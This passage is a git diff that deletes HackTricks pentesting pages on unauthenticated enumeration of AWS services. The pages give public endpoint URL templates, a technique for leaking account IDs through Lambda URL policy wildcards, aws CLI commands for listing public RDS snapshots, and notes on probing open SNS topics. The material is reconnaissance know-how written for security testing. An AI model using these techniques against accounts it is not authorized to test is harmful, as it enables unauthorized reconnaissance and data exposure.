-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
deleted file mode 100644
index 6cb420ff7..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
+++ /dev/null
@@ -1,39 +0,0 @@
-# AWS - IoT Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### Public URL template
-
-```
-mqtt://{random_id}.iot.{region}.amazonaws.com:8883
-https://{random_id}.iot.{region}.amazonaws.com:8443
-https://{random_id}.iot.{region}.amazonaws.com:443
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
deleted file mode 100644
index 0ea3e2d46..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - Kinesis Video Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### Public URL template
-
-```
-https://{random_id}.kinesisvideo.{region}.amazonaws.com
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
deleted file mode 100644
index aac576119..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
+++ /dev/null
@@ -1,48 +0,0 @@
-# AWS - Lambda Unauthenticated Access
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Public Function URL
-
-It's possible to relate a **Lambda** with a **public function URL** that anyone can access. It could contain web vulnerabilities.
-
-### Public URL template
-
-```
-https://{random_id}.lambda-url.{region}.on.aws/
-```
-
-### Get Account ID from public Lambda URL
-
-Just like with S3 buckets, Data Exchange and API gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public lambda URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\
-This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones).
-
-You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
deleted file mode 100644
index 1d1e83f04..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
+++ /dev/null
@@ -1,39 +0,0 @@
-# AWS - Media Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### Public URL template
-
-```
-https://{random_id}.mediaconvert.{region}.amazonaws.com
-https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
-https://{random_id}.data.mediastore.{region}.amazonaws.com
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
deleted file mode 100644
index 1c748c6d4..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
+++ /dev/null
@@ -1,48 +0,0 @@
-# AWS - MQ Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Public Port
-
-### **RabbitMQ**
-
-In case of **RabbitMQ**, by **default public access** and ssl are enabled. But you need **credentials** to access (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Moreover, it's possible to **access the web management console** if you know the credentials in `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
-
-### ActiveMQ
-
-In case of **ActiveMQ**, by default public access and ssl are enabled, but you need credentials to access.
-
-### Public URL template
-
-```
-https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
-ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
deleted file mode 100644
index 0de37352c..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
+++ /dev/null
@@ -1,44 +0,0 @@
-# AWS - MSK Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### Public Port
-
-It's possible to **expose the Kafka broker to the public**, but you will need **credentials**, IAM permissions or a valid certificate (depending on the auth method configured).
-
-It's also **possible to disabled authentication**, but in that case **it's not possible to directly expose** the port to the Internet.
-
-### Public URL template
-
-```
-b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
-{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
deleted file mode 100644
index fa2b1ba73..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# AWS - RDS Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## RDS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-relational-database-rds-enum.md" %}
-[aws-relational-database-rds-enum.md](../aws-services/aws-relational-database-rds-enum.md)
-{% endcontent-ref %}
-
-## Public Port
-
-It's possible to give public access to the **database from the internet**. The attacker will still need to **know the username and password,** IAM access, or an **exploit** to enter in the database.
-
-## Public RDS Snapshots
-
-AWS allows giving **access to anyone to download RDS snapshots**. You can list these public RDS snapshots very easily from your own account:
-
-```bash
-# Public RDS snapshots
-aws rds describe-db-snapshots --include-public
-
-## Search by account ID
-aws rds describe-db-snapshots --include-public --query 'DBSnapshots[?contains(DBSnapshotIdentifier, `284546856933:`) == `true`]'
-## To share a RDS snapshot with everybody the RDS DB cannot be encrypted (so the snapshot won't be encryted)
-## To share a RDS encrypted snapshot you need to share the KMS key also with the account
-
-
-# From the own account you can check if there is any public snapshot with:
-aws rds describe-db-snapshots --snapshot-type public [--region us-west-2]
-## Even if in the console appear as there are public snapshot it might be public
-## snapshots from other accounts used by the current account
-```
-
-### Public URL template
-
-```
-mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
-postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
deleted file mode 100644
index a6e2a448a..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - Redshift Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### Public URL template
-
-```
-{user_provided}.<random>.<region>.redshift.amazonaws.com
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
deleted file mode 100644
index 416a48e0e..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# AWS - SNS Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## SNS
-
-For more information about SNS check:
-
-{% content-ref url="../aws-services/aws-sns-enum.md" %}
-[aws-sns-enum.md](../aws-services/aws-sns-enum.md)
-{% endcontent-ref %}
-
-### Open to All
-
-When you configure a SNS topic from the web console it's possible to indicate that **Everyone can publish and subscribe** to the topic:
-
-<figure><img src="../../../.gitbook/assets/image (212).png" alt=""><figcaption></figcaption></figure>
-
-So if you **find the ARN of topics** inside the account (or brute forcing potential names for topics) you can **check** if you can **publish** or **subscribe** to **them**.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
deleted file mode 100644
index 5926225b3..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
+++ /dev/null
@@ -1,49 +0,0 @@
-# AWS - SQS Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
